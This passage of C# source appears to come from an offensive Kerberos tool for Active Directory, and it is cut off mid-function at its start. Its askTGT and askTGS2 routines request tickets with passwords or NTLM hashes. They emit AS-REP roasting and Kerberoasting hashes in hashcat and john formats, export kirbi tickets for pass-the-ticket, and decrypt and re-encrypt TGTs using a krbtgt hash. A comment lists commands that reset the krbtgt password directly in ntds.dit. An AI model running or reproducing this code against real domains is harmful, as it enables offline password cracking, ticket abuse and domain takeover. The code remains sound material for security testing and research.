Enc-Part]:"); PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); } if (outKirbi) { var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); Console.WriteLine("[+] TGS Kirbi:"); Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); } }catch (Exception e) { Console.WriteLine("[x] {0}", e.Message); } }
//askTGT public static async System.Threading.Tasks.Task <KrbAsRep> askTGT(string kdc, ILoggerFactory logger, TcpKerberosTransport transport, string username, string password, string domainName, bool outKirbi = false, bool verbose = false, string format = "hashcat", bool asreproast = false, bool ptt = false, string hash = null, EncryptionType etype = EncryptionType.RC4_HMAC_NT, bool outfile = false, string tgtHash = null, EncryptionType tgtEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 ) { var now = DateTime.Now; Console.WriteLine("[*] Starting Kerberos Authentication ..."); if (password != null) { cred = new KerberosPasswordCredential(username, password, domainName); } else { cred = new Utils.KerberosHashCreds(username, hash, etype, domainName); } credKey = cred.CreateKey(); //Pre-Auth KrbAsReq asReqMessage = null; KrbAsRep asRep = null; bool notPreauth = true; AuthenticationOptions authOptions = AuthenticationOptions.IncludePacRequest | AuthenticationOptions.RenewableOk | AuthenticationOptions.Canonicalize | AuthenticationOptions.Renewable | AuthenticationOptions.Forwardable; int authAttempt = 0; while (notPreauth) { authAttempt += 1; try { Console.WriteLine("[*] Sending AS-REQ ..."); var kdcOptions = (KdcOptions)(authOptions & ~AuthenticationOptions.AllAuthentication); var hostAddress = Environment.MachineName; var pacRequest = new KrbPaPacRequest { IncludePac = authOptions.HasFlag(AuthenticationOptions.IncludePacRequest) }; var padata = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_PAC_REQUEST, Value = pacRequest.Encode() } }; asReqMessage = new KrbAsReq() { Body = new KrbKdcReqBody { Addresses = new[] { new KrbHostAddress { AddressType = AddressType.NetBios, Address = Encoding.ASCII.GetBytes(hostAddress.PadRight(16, ' ')) } }, CName = new KrbPrincipalName() { Type = PrincipalNameType.NT_PRINCIPAL, Name = new[] { username }// + "@" + domainName.ToUpper() } }, //KrbPrincipalName.FromString( // username, // PrincipalNameType.NT_ENTERPRISE, // domainName //), EType = KrbConstants.KerberosConstants.ETypes.ToArray(),//kdcReqEtype, KdcOptions = kdcOptions, Nonce = KrbConstants.KerberosConstants.GetNonce(), RTime = KrbConstants.KerberosConstants.EndOfTime, Realm = credKey.PrincipalName.Realm, SName = new KrbPrincipalName { Type = PrincipalNameType.NT_SRV_INST, Name = new[] { "krbtgt", credKey.PrincipalName.Realm } }, Till = KrbConstants.KerberosConstants.EndOfTime }, PaData = padata.ToArray() }; if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate)) { var ts = new KrbPaEncTsEnc() { PaTimestamp = now, PaUSec = now.Millisecond, }; var tsEncoded = ts.Encode(); var padataAs = asReqMessage.PaData.ToList(); KrbEncryptedData encData = KrbEncryptedData.Encrypt( tsEncoded, credKey, KeyUsage.PaEncTs ); padataAs.Add(new KrbPaData { Type = PaDataType.PA_ENC_TIMESTAMP, Value = encData.Encode() }); asReqMessage.PaData = padataAs.ToArray(); } //AS-Req Part if (verbose) { PrintFunc.PrintReq(asReqMessage, credKey); } var asReq = asReqMessage.EncodeApplication(); asRep = await transport.SendMessage <KrbAsRep>( domainName, asReq, default(CancellationToken)); } catch (KerberosProtocolException pex) { Console.WriteLine("[x] Kerberos Error: {0}", pex.Message); if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED) { if (asreproast) { Console.WriteLine("[x] Sorry the provided user requires PreAuth.\n"); Environment.Exit(0); } else { //Salt issue for RID 500 Built-in admin account //https://github.com/dotnet/Kerberos.NET/issues/164 if (password != null) { cred = new KerberosPasswordCredential(username, password, domainName); } else { cred = new Utils.KerberosHashCreds(username, hash, etype, domainName); } cred.IncludePreAuthenticationHints(pex?.Error?.DecodePreAuthentication()); credKey = cred.CreateKey(); authOptions |= AuthenticationOptions.PreAuthenticate; Console.WriteLine("[*] Adding encrypted timestamp ..."); } } else if (pex?.Error?.ErrorCode == KerberosErrorCode.KDC_ERR_PREAUTH_FAILED) { Console.WriteLine("[x] Invalid Credential! Authentication Stopped ...\n"); Environment.Exit(0); } else { Console.WriteLine("[x] Authentication Stopped ...\n"); Environment.Exit(0); } } if (authAttempt == 2 || asreproast) { notPreauth = false; } } Console.WriteLine("[*] Receiving AS-REP..."); if (asreproast) { //Asreproasting string repHash = BitConverter.ToString(asRep.EncPart.Cipher.ToArray()).Replace("-", string.Empty); repHash = repHash.Insert(32, "$"); string hashString = ""; if (format == "john") { hashString = String.Format("$krb5asrep${0}@{1}:{2}", username, domainName, repHash); Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString); } else { hashString = String.Format("$krb5asrep$23${0}@{1}:{2}", username, domainName, repHash); Console.WriteLine("[+] ASREPRoasting Hash: {0}", hashString); } } else { try { KrbEncAsRepPart asDecryptedRepPart = cred.DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)); if (verbose) { //AS-Rep Part PrintFunc.PrintRep(asRep, credKey); if (authOptions.HasFlag(AuthenticationOptions.PreAuthenticate)) { Console.WriteLine(" * [Decrypted Enc-Part]:"); PrintFunc.PrintRepEnc(asDecryptedRepPart, credKey); ////////////////////////////////////////decrypt TGT //// net stop ntds //// $key =Get-BootKey -Online //// $cred = ConvertTo-SecureString -String "krbtgt" -AsPlainText -Force //// Set-ADDBAccountPassword -SamAccountName krbtgt -NewPassword $cred -DatabasePath C:\Windows\NTDS\ntds.dit -BootKey $key //// net start ntds ////KeyTable keytab = new KeyTable(System.IO.File.ReadAllBytes("C:\\Users\\Public\\krbtgt.keytab")); ////var krbtgtkey = keytab.GetKey(EncryptionType.AES256_CTS_HMAC_SHA1_96, asRep.Ticket.SName); /// if (!string.IsNullOrEmpty(tgtHash)) { var krbtgtCred = new Utils.KerberosHashCreds("krbtgt", tgtHash, tgtEtype); //TGS - REQ Ticket Enc-Part var ticketDecrypted = asRep.Ticket.EncryptedPart.Decrypt (krbtgtCred.CreateKey(), KeyUsage.Ticket, b => KrbEncTicketPart.DecodeApplication(b)); Console.WriteLine(" * [Decrypted TGT]:"); PrintFunc.PrintTicketEnc(ticketDecrypted); //Encrypt the ticket again asRep.Ticket.EncryptedPart = KrbEncryptedData.Encrypt(ticketDecrypted.EncodeApplication(), krbtgtCred.CreateKey(), KeyUsage.Ticket); } //////////////////////////////////////TGT } } if (outKirbi || outfile) { var kirbiTGT = Kirbi.toKirbi(asRep, asDecryptedRepPart, ptt); if (outKirbi) { Console.WriteLine("[+] TGT Kirbi:"); Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGT)); } if (outfile) { Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username), kirbiTGT); } } } catch (Exception e) { Console.WriteLine("[x] {0}. Unable to decrypt the ticket, provided credential is invalid. (Check the ticket etype if you want to decrypt it)\n", e.Message); //Environment.Exit(0); } } return((KrbAsRep)asRep); }
//TODO... //askTGS with TGT kirbi public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc, ILoggerFactory logger, TcpKerberosTransport transport, KrbAsRep asRep, string username, string password, string domainName, string spn, bool isUnconstrained = false, bool outKirbi = false, bool verbose = false, bool kerberoast = false, bool ptt = false, string hash = null, EncryptionType etype = EncryptionType.RC4_HMAC_NT, bool outfile = false, string srvName = null, string tgsHash = null, EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96 ) { var now = DateTime.Now; credKey = password != null ? new KerberosPasswordCredential(username, password, domainName).CreateKey() : new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey(); KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep( asRep, KeyUsage.EncAsRepPart, d => KrbEncAsRepPart.DecodeApplication(d)); var sessionKey = asDecrypted.Key; //Request Service Ticket parameters ApOptions apOptions = ApOptions.Reserved; KdcOptions kdcOptions = KdcOptions.Forwardable | KdcOptions.Renewable | KdcOptions.RenewableOk | KdcOptions.Canonicalize; string s4u = null; KrbTicket s4uTicket = null; KrbTicket u2uServerTicket = null; if (isUnconstrained) { spn = $"krbtgt/{domainName}"; kdcOptions |= KdcOptions.Forwarded; } var rst = new RequestServiceTicket() { ServicePrincipalName = spn, ApOptions = apOptions, S4uTarget = s4u, S4uTicket = s4uTicket, UserToUserTicket = u2uServerTicket, KdcOptions = kdcOptions, Realm = domainName }; var sname = rst.ServicePrincipalName.Split('/', '@'); var tgt = asRep.Ticket; var additionalTickets = new List <KrbTicket>(); if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null) { additionalTickets.Add(rst.UserToUserTicket); } if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { rst.KdcOptions |= KdcOptions.Forwardable; } if (rst.S4uTicket != null) { rst.KdcOptions |= KdcOptions.ConstrainedDelegation; additionalTickets.Add(rst.S4uTicket); } var body = new KrbKdcReqBody { //Specify RC4 as the only supported EType EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(), KdcOptions = rst.KdcOptions, Nonce = KrbConstants.KerberosConstants.GetNonce(), Realm = rst.Realm, SName = new KrbPrincipalName() { Type = PrincipalNameType.NT_SRV_INST, Name = sname }, Till = KrbConstants.KerberosConstants.EndOfTime, CName = rst.CNameHint }; if (additionalTickets.Count > 0) { body.AdditionalTickets = additionalTickets.ToArray(); } var bodyChecksum = KrbChecksum.Create( body.Encode(), sessionKey.AsKey(), KeyUsage.PaTgsReqChecksum ); //ApReq //Authenticator var authenticator = new KrbAuthenticator { CName = asRep.CName, Realm = asRep.Ticket.Realm, SequenceNumber = KrbConstants.KerberosConstants.GetNonce(), Checksum = bodyChecksum, CTime = now, CuSec = now.Millisecond //new Random().Next(0, 999999) }; var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType); subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey; authenticator.Subkey = subSessionKey; var encryptedAuthenticator = KrbEncryptedData.Encrypt( authenticator.EncodeApplication(), sessionKey.AsKey(), KeyUsage.PaTgsReqAuthenticator ); var apReq = new KrbApReq { Ticket = tgt, ApOptions = apOptions, Authenticator = encryptedAuthenticator }; var pacOptions = new KrbPaPacOptions { Flags = PacOptions.BranchAware }.Encode(); var paData = new List <KrbPaData>() { new KrbPaData { Type = PaDataType.PA_TGS_REQ, Value = apReq.EncodeApplication() }, new KrbPaData { Type = PaDataType.PA_PAC_OPTIONS, Value = pacOptions } }; if (!string.IsNullOrWhiteSpace(rst.S4uTarget)) { var paS4u = new KrbPaForUser { AuthPackage = "Kerberos", UserName = new KrbPrincipalName { Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u } }, UserRealm = tgt.Realm }; paS4u.GenerateChecksum(subSessionKey.AsKey()); paData.Add(new KrbPaData { Type = PaDataType.PA_FOR_USER, Value = paS4u.Encode() }); } var tgs = new KrbTgsReq { PaData = paData.ToArray(), Body = body }; ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication(); Console.WriteLine("[*] Sending TGS-REQ ..."); if (verbose) { PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey()); } CancellationToken cancellation = default; cancellation.ThrowIfCancellationRequested(); KrbTgsRep tgsRep = null; try { tgsRep = await transport.SendMessage <KrbTgsRep>( rst.Realm, encodedTgs, cancellation ); } catch (KerberosProtocolException pex) { Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message); Environment.Exit(0); } Console.WriteLine("[*] Receiving TGS-REP ..."); if (verbose) { PrintFunc.PrintRep(tgsRep, credKey); } var returnFlag = TicketFlags.Anonymous; try { //TGS-REP Enc-Part //https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144 KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>( subSessionKey.AsKey(), KeyUsage.EncTgsRepPartSubSessionKey, (ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t)); if (verbose) { Console.WriteLine(" * [Decrypted Enc-Part]:"); PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey); returnFlag = tgsDecryptedRepPart.Flags; if (!string.IsNullOrEmpty(tgsHash)) { //========================================= //TGS Tiket Enc-Part //Service account Cred var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype); //TGS-REQ Ticket Enc-Part KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart> (kerbCred2.CreateKey(), KeyUsage.Ticket, (ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t)); Console.WriteLine(" * [Decrypted Ticket Enc-Part]:"); PrintFunc.PrintTicketEnc(ticketDecrypted); //========================================= } } if (outKirbi || outfile) { var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt); if (outKirbi) { Console.WriteLine("[+] TGS Kirbi:"); Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS)); } if (outfile) { Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS); } } } catch (Exception e) { Console.WriteLine("[x] {0}", e.Message); } if (kerberoast) { //Kerberoasting var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString()); var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", ""); var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32)); Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash); } return(returnFlag); }